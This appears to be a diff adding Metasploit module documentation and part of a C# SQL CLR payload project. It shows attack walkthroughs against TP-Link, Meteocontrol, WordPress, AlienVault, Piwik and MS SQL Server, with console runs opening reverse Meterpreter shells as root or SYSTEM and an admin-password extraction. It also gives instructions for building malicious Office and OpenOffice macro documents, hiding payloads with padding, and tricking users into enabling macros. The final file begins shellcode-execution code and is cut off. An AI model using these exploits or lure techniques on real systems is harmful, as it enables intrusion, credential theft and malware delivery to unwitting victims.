[+] Detected device:TP-Link TD-8817
|
||||
[-] Bad response
|
||||
[-] Bad response
|
||||
[+] Good response, please check host, authentication should be disabled
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,24 @@
|
|||
Meteocontrol WEB'Log Data Loggers are affected with an authentication bypass vulnerability. The module exploits this vulnerability to remotely extract Administrator password for the device management portal.
|
||||
|
||||
Note: In some versions, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Manual verification will be required in such cases.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/meteocontrol_weblog_extractadmin```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/meteocontrol_weblog_extractadmin
|
||||
msf auxiliary(meteocontrol_weblog_extractadmin) > set rhosts 1.2.3.4
|
||||
msf auxiliary(meteocontrol_weblog_extractadmin) > run
|
||||
|
||||
[+] 1.2.3.4:8080 - Running Meteocontrol WEBlog management portal...
|
||||
[*] 1.2.3.4:8080 - Attempting to extract Administrator password...
|
||||
[+] 1.2.3.4:8080 - Password is password
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,45 @@
|
|||
**Feature description:**
|
||||
|
||||
This adds a module for the WordPress [4.7](https://wordpress.org/wordpress-4.7.tar.gz)/[4.7.1](https://wordpress.org/wordpress-4.7.1.tar.gz)
|
||||
content injection vulnerability detailed at
|
||||
https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html.
|
||||
|
||||
**Verification steps:**
|
||||
|
||||
- [ ] Download https://wordpress.org/wordpress-4.7.1.tar.gz
|
||||
- [ ] `tar xf wordpress-4.7.1.tar.gz -C /var/www/html --no-same-owner`
|
||||
- [ ] Prevent auto-update with either:
|
||||
1. [ ] Ensure the install dir is not writable by the web user
|
||||
2. [ ] Add the following to `wp_config.php` (after install)
|
||||
```
|
||||
define( 'WP_AUTO_UPDATE_CORE', false );
|
||||
define( 'AUTOMATIC_UPDATER_DISABLED', true );
|
||||
```
|
||||
- [ ] Install Wordpress
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use auxiliary/scanner/http/wordpress_content_injection`
|
||||
- [ ] Set `rhost`, `rport` and `TARGETURI`
|
||||
- [ ] Set `ACTION` to either `LIST` or `UPDATE`
|
||||
- [ ] Set `POST_ID` and `POST_TITLE`, `POST_CONTENT`, and/or `POST_PASSWORD`
|
||||
- [ ] Run the module
|
||||
|
||||
**Sample run:**
|
||||
|
||||
This is just the `LIST` action...
|
||||
|
||||
```
|
||||
msf auxiliary(wordpress_content_injection) > run
|
||||
|
||||
[*] REST API found in HTML document
|
||||
Posts at https://[redacted]:443/ (REST API: /wp-json/wp/v2)
|
||||
============================================================
|
||||
|
||||
ID Title URL Password
|
||||
-- ----- --- --------
|
||||
1 Hello world! https://[redacted]/2016/10/hello-world/ No
|
||||
87 Hello world! https://[redacted]/2016/08/hello-world-2/ No
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(wordpress_content_injection) >
|
||||
```
|
|
@ -0,0 +1,58 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together. Unauthenticated users can execute arbitrary commands under the context of the root user.
|
||||
|
||||
By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability
|
||||
which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue
|
||||
action and policy that enables to execute operating system commands by using captured session token. As a final step,
|
||||
SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes
|
||||
operating system command with root user privileges.
|
||||
|
||||
This module was tested against AlienVault USM 5.2.5.
|
||||
|
||||
**Vulnerable Application Installation Steps**
|
||||
|
||||
Major version of older releases can be found at following URL.
|
||||
[http://downloads.eu.alienvault.com/c/download](http://downloads.eu.alienvault.com/c/download)
|
||||
|
||||
You can download file named as AlienVault-USM_trial_5.2.5.zip which contains a OVA file.
|
||||
In order to complete installation phase, you have to apply [https://www.alienvault.com/try-it-free](https://www.alienvault.com/try-it-free) .
|
||||
Once alienvault sales team validate your information, you will be able to complete the installation with your e-mail adress.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
A successful check of the exploit will look like this:
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/alienvault_exec
|
||||
msf exploit(alienvault_exec) > set RHOST 12.0.0.137
|
||||
RHOST => 12.0.0.137
|
||||
msf exploit(alienvault_exec) > set LHOST 12.0.0.1
|
||||
LHOST => 12.0.0.1
|
||||
msf exploit(alienvault_exec) > check
|
||||
[+] 12.0.0.137:443 The target is vulnerable.
|
||||
msf exploit(alienvault_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 12.0.0.1:4445
|
||||
[*] Hijacking administrator session
|
||||
[+] Admin session token : PHPSESSID=2gbhp8j5f2af0vu5es5t3083q4
|
||||
[*] Creating rogue action
|
||||
[+] Action created: aWbhnZFHqYbUbNW
|
||||
[*] Retrieving rogue action id
|
||||
[+] Corresponding Action ID found: D62A1D4A6D3AEEA65F99B606B02197A1
|
||||
[*] Retrieving policy ctx and group values
|
||||
[+] CTX Value found: 5E22D6A9E79211E6B8E4000C29F647D7
|
||||
[+] GROUP Value found: 00000000000000000000000000000000
|
||||
[*] Creating a policy that uses our rogue action
|
||||
[+] Policy created: ASdKHQOZVONGzfU
|
||||
[*] Activating the policy
|
||||
[+] Rogue policy activated
|
||||
[*] Triggering the policy by performing SSH login attempt
|
||||
[+] SSH - Failed authentication. That means our policy and action will be trigged..!
|
||||
[*] Sending stage (38500 bytes) to 12.0.0.137
|
||||
[*] Meterpreter session 6 opened (12.0.0.1:4445 -> 12.0.0.137:51674) at 2017-01-31 14:13:49 +0300
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,97 @@
|
|||
|
||||
## Description
|
||||
|
||||
This module generates a macro-enabled Microsoft Office Word document. It does not target a specific
|
||||
CVE or vulnerability, this is more of a feature-abuse in Office, however this type of
|
||||
social-engineering attack still remains common today.
|
||||
|
||||
There are many ways to create this type of malicious doc. The module injects the Base64-encoded
|
||||
payload in the comments field, which will get decoded back by the macro and executed as a Windows
|
||||
executable when the Office document is launched.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
A Windows or OSX machine with Microsoft Office installed. The Office application must support the docm
|
||||
format.
|
||||
|
||||
Specifically, this module was tested specifically against:
|
||||
|
||||
* Microsoft Office 2010.
|
||||
* Microsoft Office 2013.
|
||||
* Microsoft Office 2016.
|
||||
* Microsoft Office Word 15.29.1 (161215).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. ```use exploit/multi/fileformat/office_word_macro```
|
||||
2. ```set PAYLOAD [PAYLOAD NAME]```
|
||||
3. Configure the rest of the settings accordingly (BODY, LHOST, LPORT, etc)
|
||||
4. ```exploit```
|
||||
5. The module should generate the malicious docm.
|
||||
|
||||
## Options
|
||||
|
||||
**BODY** Text to put in the Office document. See **Modification** below if you wish to modify more.
|
||||
|
||||
## Demo
|
||||
|
||||
In this example, first we generate the malicious docm exploit, and then we set up a
|
||||
windows/meterpreter/reverse_tcp handler to receive a session. Next, we copy the docm
|
||||
exploit to a Windows machine with Office 2013 installed, when the document runs the
|
||||
macro, we get a session:
|
||||
|
||||
![macro_demo](https://cloud.githubusercontent.com/assets/1170914/22602348/751f9d66-ea08-11e6-92ce-4e52f88aaebf.gif)
|
||||
|
||||
## Modification
|
||||
|
||||
To use this exploit in a real environment, you will most likely need to modify the docm content.
|
||||
Here's one approach you can do:
|
||||
|
||||
1. Use the module to generate the malicious docm
|
||||
2. Copy the malicious docm to the vulnerable machine, and edit it with Microsoft Office (such as 2013).
|
||||
When you open the document, the payload will probably do something on your machine. It's ok,
|
||||
since you generated it, it should not cause any problems for you.
|
||||
3. Save the doc, and test again to make sure the payload still works.
|
||||
|
||||
While editing, you should avoid modifying the following unless you are an advanced user:
|
||||
|
||||
* The comments field. If you have to modify this, make sure to create 55 empty spaces
|
||||
in front of the payload string. The blank space is for making the payload less obvious
|
||||
at first sight if the user views the file properties.
|
||||
* The VB code in the macro.
|
||||
|
||||
## Trusted Document
|
||||
|
||||
By default, Microsoft Office does not execute macros automatically unless it is considered as a
|
||||
trusted document. This means that if a macro is present, the user will most likely need to manually
|
||||
click on the "Enable Content" button in order to run the macro.
|
||||
|
||||
Many in-the-wild attacks face this type of challenge, and most rely on social-engineering to trick
|
||||
the user into allowing the macro to run. For example, making the document look like something
|
||||
written from a legit source, such as [this attack](https://motherboard.vice.com/en_us/article/these-hackers-cleverly-disguised-their-malware-as-a-document-about-trumps-victory).
|
||||
|
||||
To truly make the macro document to run without any warnings, you must somehow figure out a way to
|
||||
sign the macro by a trusted publisher, or using a certificate that the targeted machine trusts.
|
||||
|
||||
For testing purposes, another way to have a certificate is to create a self-signed one using
|
||||
Microsoft Office's SELFCERT.exe utility. This tool can be found in the following path on
|
||||
Windows:
|
||||
|
||||
```
|
||||
C:\Program Files\Microsoft Office\root\Office16\SELFCERT.exe
|
||||
```
|
||||
|
||||
In Office 2010, the self-signing tool is actually an option in the Office tools folder in the
|
||||
start menu. It should be named "Digital Certificate for VBA Projects".
|
||||
|
||||
Double-click on the executable, enter a random name and click "OK", at this point you have a
|
||||
certificate to play with.
|
||||
|
||||
Next, we want to flag this certificate as trusted:
|
||||
|
||||
1. Click on Start, and then enter "Internet Options".
|
||||
2. Click on the Content tab, and then click on the Certificates button.
|
||||
3. You should see your new certificate under the Personal tab, export it.
|
||||
4. Click on the Trusted Publishers, and then import your personal certificate.
|
||||
5. Try the macro exploit again, it should run the malicious code without warning.
|
|
@ -0,0 +1,63 @@
|
|||
## Description
|
||||
|
||||
This module generates an Apache OpenOffice Text Document with a malicious macro in it. It also
|
||||
works against LibreOffice.
|
||||
|
||||
To exploit successfully, the targeted user must adjust the security level in Macro Security to
|
||||
either Medium or Low. If set to Medium, a prompt is presented to the user to enable or disable the
|
||||
macro. If set to Low, the macro can automatically run without any warning.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
* Apache OpenOffice
|
||||
* LibreOffice
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To use this exploit, you must know the platform of the targeted user. The module supports Windows,
|
||||
Linux, and OSX. If the target is using Windows, then the exploit will generate the macro
|
||||
with malicious Powershell code inside. For other supported platforms, the exploit will generate
|
||||
Python code.
|
||||
|
||||
An example of using this module against Windows:
|
||||
|
||||
1. Start msfconsole
|
||||
2. ```use exploit/multi/misc/openoffice_document_macro```
|
||||
3. ```set target 0```
|
||||
4. ```set payload windows/meterpreter/reverse_tcp```
|
||||
5. ```exploit```
|
||||
|
||||
An example of using this module against Linux or OSX:
|
||||
|
||||
1. Start msfconsole
|
||||
2. ```use exploit/multi/misc/openoffice_document_macro```
|
||||
3. ```set target 1```
|
||||
4. ```set payload python/meterpreter/reverse_tcp```
|
||||
5. ```exploit```
|
||||
|
||||
Once started, the module will mainly do these things:
|
||||
|
||||
1. It will start a payload handler.
|
||||
2. It will start a web server. This is used for the macro to download and execute our final payload.
|
||||
3. The malicious odt file. Send this to your targeted user.
|
||||
|
||||
## Options
|
||||
|
||||
**BODY**
|
||||
|
||||
This option can be used to insert text to the malicious document.
|
||||
|
||||
## Demo
|
||||
|
||||
![openoffice_macro_demo](https://cloud.githubusercontent.com/assets/1170914/22761020/9e7667ca-ee1e-11e6-9fc1-a29c55f405f0.gif)
|
||||
|
||||
## Modification
|
||||
|
||||
Since social engineering will play a big part in the success of the attack, you will most likely
|
||||
want to modify the odt file.
|
||||
|
||||
1. To do so, first use msfconsole to generate the malicious odt file.
|
||||
2. Move the odt file to a system that has OpenOffice or LibreOffice
|
||||
3. You can just use OpenOffice/LibreOffice to edit the file. Make sure you don't modify the macro
|
||||
code unless you actually know what you're doing.
|
||||
|
|
@ -0,0 +1,226 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Piwik can be downloaded from the official site [piwik.org](https://piwik.org).
|
||||
Older builds are also available from [builds.piwik.org](https://builds.piwik.org/).
|
||||
|
||||
This module was tested with Piwik versions 2.14.0, 2.16.0, 2.17.1 and 3.0.1
|
||||
|
||||
## Verification Steps
|
||||
|
||||
### Install Piwik (Debian/Ubuntu)
|
||||
1. Install dependencies
|
||||
|
||||
```
|
||||
sudo apt install apache2 php5 php5-mysql \
|
||||
libapache2-mod-php5 mariadb-server unzip php5-gd php5-curl
|
||||
```
|
||||
2. Download latest version of piwik (or the version of your choice from [builds.piwik.org](https://builds.piwik.org/))
|
||||
|
||||
```
|
||||
wget https://builds.piwik.org/piwik.zip
|
||||
```
|
||||
|
||||
3. Unzip Piwik into webroot
|
||||
|
||||
```
|
||||
unzip -d /var/www/html/ piwik.zip
|
||||
```
|
||||
|
||||
4. Make the webserver user the owner of piwik
|
||||
|
||||
```
|
||||
chown -R www-data:www-data /var/www/html/
|
||||
```
|
||||
|
||||
5. Create a new user and database for piwik. If you want to run multiple versions in parallel use a different database for each install (user is optional).
|
||||
This example assumes your MySQL root password is **password**
|
||||
|
||||
```
|
||||
mysql -u root -ppassword -e "CREATE DATABASE piwik;"
|
||||
mysql -u root -ppassword -e "CREATE USER piwik@localhost;"
|
||||
mysql -u root -ppassword -e "SET PASSWORD FOR piwik@localhost=PASSWORD('piwik');"
|
||||
mysql -u root -ppassword -e "GRANT ALL PRIVILEGES ON piwik.* TO piwik@localhost;"
|
||||
mysql -u root -ppassword -e "FLUSH PRIVILEGES;"
|
||||
```
|
||||
|
||||
6. Add a config setting to PHP to stop piwik complaining about it
|
||||
|
||||
```
|
||||
echo always_populate_raw_post_data=-1 > /etc/php5/apache2/conf.d/99-piwik.ini
|
||||
```
|
||||
|
||||
7. Finally restart Apache HTTPD
|
||||
|
||||
```
|
||||
service apache2 restart
|
||||
```
|
||||
|
||||
### Pwn Piwik
|
||||
1. Install the application (see installation steps above)
|
||||
2. Start msfconsole
|
||||
3. Do: ```use [module path]```
|
||||
4. Do: ```set RHOST [Domain/IP]```
|
||||
5. Do: ```set RPORT [Port]```
|
||||
6. Do: ```set TARGETURI [installation directory]```
|
||||
7. Do: ```set SSL [True/False]```
|
||||
8. Do: ```set USERNAME [valid Piwik superuser credentials]```
|
||||
9. Do: ```set PASSWORD [valid Piwik superuser credentials]```
|
||||
10. Do: ```run```
|
||||
11. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
Path of the Piwik installation.
|
||||
|
||||
**USERNAME**
|
||||
|
||||
Valid username for a Piwik superuser account.
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
Valid password for a Piwik superuser account.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Run with a installation of Piwik 3.0.1
|
||||
|
||||
```
|
||||
msf > use exploit/unix/webapp/piwik_superuser_plugin_upload
|
||||
msf exploit(piwik_superuser_plugin_upload) > set TARGETURI /piwik/
|
||||
TARGETURI => /piwik/
|
||||
msf exploit(piwik_superuser_plugin_upload) > set RHOST 192.168.56.2
|
||||
RHOST => 192.168.56.2
|
||||
msf exploit(piwik_superuser_plugin_upload) > set username firefart
|
||||
username => firefart
|
||||
msf exploit(piwik_superuser_plugin_upload) > set password firefart
|
||||
password => firefart
|
||||
msf exploit(piwik_superuser_plugin_upload) > options
|
||||
|
||||
Module options (exploit/unix/webapp/piwik_superuser_plugin_upload):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD firefart yes The Piwik password to authenticate with
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST 192.168.56.2 yes The target address
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /piwik/ yes The URI path of the Piwik installation
|
||||
USERNAME firefart yes The Piwik username to authenticate with
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Piwik
|
||||
|
||||
msf exploit(piwik_superuser_plugin_upload) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Trying to detect if target is running a supported version of piwik
|
||||
[+] Detected Piwik installation
|
||||
[*] Authenticating with Piwik using firefart:firefart...
|
||||
[+] Authenticated with Piwik
|
||||
[*] Checking if user firefart has superuser access
|
||||
[+] User firefart has superuser access
|
||||
[*] Trying to get Piwik version
|
||||
[+] Detected Piwik version 3.0.1
|
||||
[*] Checking if Marketplace plugin is active
|
||||
[+] Seems like the Marketplace plugin is already enabled
|
||||
[*] Generating plugin
|
||||
[+] Plugin SDsiXxPMgt generated
|
||||
[*] Uploading plugin
|
||||
[*] Activating plugin and triggering payload
|
||||
[*] Sending stage (33986 bytes) to 192.168.56.2
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.2:43169) at 2017-02-13 23:03:29 +0100
|
||||
[+] Deleted plugins/SDsiXxPMgt/plugin.json
|
||||
[+] Deleted plugins/SDsiXxPMgt/SDsiXxPMgt.php
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : web
|
||||
OS : Linux web 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1 (2016-12-30) x86_64
|
||||
Meterpreter : php/linux
|
||||
```
|
||||
|
||||
### Run against Piwik 2.x
|
||||
|
||||
```
|
||||
msf exploit(piwik_superuser_plugin_upload) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Trying to detect if target is running a supported version of piwik
|
||||
[+] Detected Piwik installation
|
||||
[*] Authenticating with Piwik using firefart:firefart...
|
||||
[+] Authenticated with Piwik
|
||||
[*] Checking if user firefart has superuser access
|
||||
[+] User firefart has superuser access
|
||||
[*] Trying to get Piwik version
|
||||
[+] Detected Piwik version 2.14.0
|
||||
[*] Generating plugin
|
||||
[+] Plugin zZETuwYkzB generated
|
||||
[*] Uploading plugin
|
||||
[*] Activating plugin and triggering payload
|
||||
[*] Sending stage (33986 bytes) to 192.168.56.2
|
||||
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.2:43182) at 2017-02-13 23:05:27 +0100
|
||||
[+] Deleted plugins/zZETuwYkzB/plugin.json
|
||||
[+] Deleted plugins/zZETuwYkzB/zZETuwYkzB.php
|
||||
```
|
||||
|
||||
### Sample output of running with invalid credentials
|
||||
|
||||
```
|
||||
msf exploit(piwik_superuser_plugin_upload) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Trying to detect if target is running a supported version of piwik
|
||||
[+] Detected Piwik installation
|
||||
[*] Authenticating with Piwik using firefart:test...
|
||||
[-] Exploit aborted due to failure: no-access: Failed to authenticate with Piwik
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
|
||||
### Sample output of running with non superuser user
|
||||
|
||||
```
|
||||
msf exploit(piwik_superuser_plugin_upload) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Trying to detect if target is running a supported version of piwik
|
||||
[+] Detected Piwik installation
|
||||
[*] Authenticating with Piwik using test:firefart...
|
||||
[+] Authenticated with Piwik
|
||||
[*] Checking if user test has superuser access
|
||||
[-] Exploit aborted due to failure: no-access: Looks like user test has no superuser access
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
|
||||
### Sample output of Piwik 3.x with disabled Marketplace plugin
|
||||
|
||||
```
|
||||
msf exploit(piwik_superuser_plugin_upload) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Trying to detect if target is running a supported version of piwik
|
||||
[+] Detected Piwik installation
|
||||
[*] Authenticating with Piwik using firefart:firefart...
|
||||
[+] Authenticated with Piwik
|
||||
[*] Checking if user firefart has superuser access
|
||||
[+] User firefart has superuser access
|
||||
[*] Trying to get Piwik version
|
||||
[+] Detected Piwik version 3.0.1
|
||||
[*] Checking if Marketplace plugin is active
|
||||
[*] Marketplace plugin is not enabled, trying to enable it
|
||||
[+] Marketplace plugin enabled
|
||||
[*] Generating plugin
|
||||
[+] Plugin TuwgJygjEu generated
|
||||
[*] Uploading plugin
|
||||
[*] Activating plugin and triggering payload
|
||||
[*] Sending stage (33986 bytes) to 192.168.56.2
|
||||
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.2:43246) at 2017-02-13 23:08:36 +0100
|
||||
[+] Deleted plugins/TuwgJygjEu/plugin.json
|
||||
[+] Deleted plugins/TuwgJygjEu/TuwgJygjEu.php
|
||||
```
|
|
@ -0,0 +1,84 @@
|
|||
## Introduction
|
||||
|
||||
This module is based on the work that was done by @leechristensen and @sekirkity as documented [here](http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/).
|
||||
|
||||
## Prerequisites
|
||||
|
||||
The module requires SQL credentials for a user with sufficient privileges to:
|
||||
|
||||
* Enable CLR support (if not already enabled).
|
||||
* Enabled `TRUSTWORTHY` (if not already enabled).
|
||||
* Add an assembly to the server.
|
||||
* Create a new stored procedure.
|
||||
|
||||
The module does all of the above, as required. It uploads a .NET Assembly (pre-built, and stored in the `data` folder) which is selected based on the version of the DB in question. This is a shim that exposes a function that allows for a base64-encoded payload to be executed as native shellcode. This function is exposed as a stored proc, which can be called directly through an SQL query with the base64 encoded shellcode.
|
||||
|
||||
This module was tested on SQL 2005, 2012 and 2016 (all x64 versions). I haven't tested on x86 yet. there is code in the module that makes sure that the target architecture matches the payload that was chosen.
|
||||
|
||||
This code also includes command-line builds for the assembly that is used to provide the code execution function, and can be built in the same way that all the other exploits are built (from a Visual Studio command line).
|
||||
|
||||
## Sample Runs:
|
||||
|
||||
MS SQL 2005:
|
||||
|
||||
```
|
||||
msf exploit(mssql_clr_payload) > exploit
|
||||
|
||||
[*] [2017.02.10-12:56:15] Started reverse TCP handler on 172.16.255.1:4444
|
||||
[!] [2017.02.10-12:56:15] 172.16.255.130:1433 - Setting EXITFUNC to 'thread' so we don't kill SQL Server
|
||||
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Database does not have TRUSTWORTHY setting on, enabling ...
|
||||
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Database does not have CLR support enabled, enabling ...
|
||||
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Using version v3.5 of the Payload Assembly
|
||||
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Adding custom payload assembly ...
|
||||
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Exposing payload execution stored procedure ...
|
||||
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Executing the payload ...
|
||||
[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Removing stored procedure ...
|
||||
[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Removing assembly ...
|
||||
[*] [2017.02.10-12:56:16] Sending stage (1189423 bytes) to 172.16.255.130
|
||||
[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Restoring CLR setting ...
|
||||
[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Restoring Trustworthy setting ...
|
||||
[*] Meterpreter session 10 opened (172.16.255.1:4444 -> 172.16.255.130:49168) at 2017-02-10 12:56:18 +1000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-8CT6HVI5D6J
|
||||
OS : Windows 2008 R2 (Build 7601, Service Pack 1).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
```
|
||||
|
||||
MS SQL 2016
|
||||
|
||||
```
|
||||
msf exploit(mssql_clr_payload) > exploit
|
||||
|
||||
[*] [2017.02.10-12:55:58] Started reverse TCP handler on 172.16.255.1:4444
|
||||
[!] [2017.02.10-12:55:58] 172.16.255.129:1433 - Setting EXITFUNC to 'thread' so we don't kill SQL Server
|
||||
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Database does not have TRUSTWORTHY setting on, enabling ...
|
||||
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Database does not have CLR support enabled, enabling ...
|
||||
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Using version v4.0 of the Payload Assembly
|
||||
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Adding custom payload assembly ...
|
||||
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Exposing payload execution stored procedure ...
|
||||
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Executing the payload ...
|
||||
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Removing stored procedure ...
|
||||
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Removing assembly ...
|
||||
[*] [2017.02.10-12:55:58] Sending stage (1189423 bytes) to 172.16.255.129
|
||||
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Restoring CLR setting ...
|
||||
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Restoring Trustworthy setting ...
|
||||
[*] Meterpreter session 9 opened (172.16.255.1:4444 -> 172.16.255.129:49732) at 2017-02-10 12:56:00 +1000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT Service\MSSQLSERVER
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-7QEE7C4D0GF
|
||||
OS : Windows 2016 (Build 14393).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
```
|
|
@ -0,0 +1 @@
|
|||
// Deliberately blank
|
|
@ -0,0 +1 @@
|
|||
// Deliberately blank
|
|
@ -0,0 +1,3 @@
|
|||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]
|
|
@ -0,0 +1,5 @@
|
|||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5.1", FrameworkDisplayName = ".NET Framework 4.5.1")]
|
||||
|
||||
|
|
@ -0,0 +1,4 @@
|
|||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5.2", FrameworkDisplayName = ".NET Framework 4.5.2")]
|
||||
|
|
@ -0,0 +1,4 @@
|
|||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")]
|
||||
|
|
@ -0,0 +1,3 @@
|
|||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6.1", FrameworkDisplayName = ".NET Framework 4.6.1")]
|
|
@ -0,0 +1,3 @@
|
|||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6", FrameworkDisplayName = ".NET Framework 4.6")]
|
|
@ -0,0 +1,36 @@
|
|||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("SqlClrPayload")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("SqlClrPayload")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2017")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("33827137-7d8c-40e5-afd9-d71e916e0e2d")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
|
@ -0,0 +1,23 @@
|
|||
using System;
|
||||
|
||||
public partial class StoredProcedures
|
||||
{
|
||||
private static Int32 MEM_COMMIT = 0x1000;
|
||||
private static IntPtr PAGE_EXECUTE_READWRITE = (IntPtr)0x40;
|
||||
|
||||
[System.Runtime.InteropServices.DllImport("kernel32")]
|
||||
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UIntPtr size, Int32 flAllocationType, IntPtr flProtect);
|
||||
|
||||
[System.Runtime.InteropServices.DllImport("kernel32")]
|
||||
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr param, Int32 dwCreationFlags, ref IntPtr lpThreadId);
|
||||
|
||||
[Microsoft.SqlServer.Server.SqlProcedure]
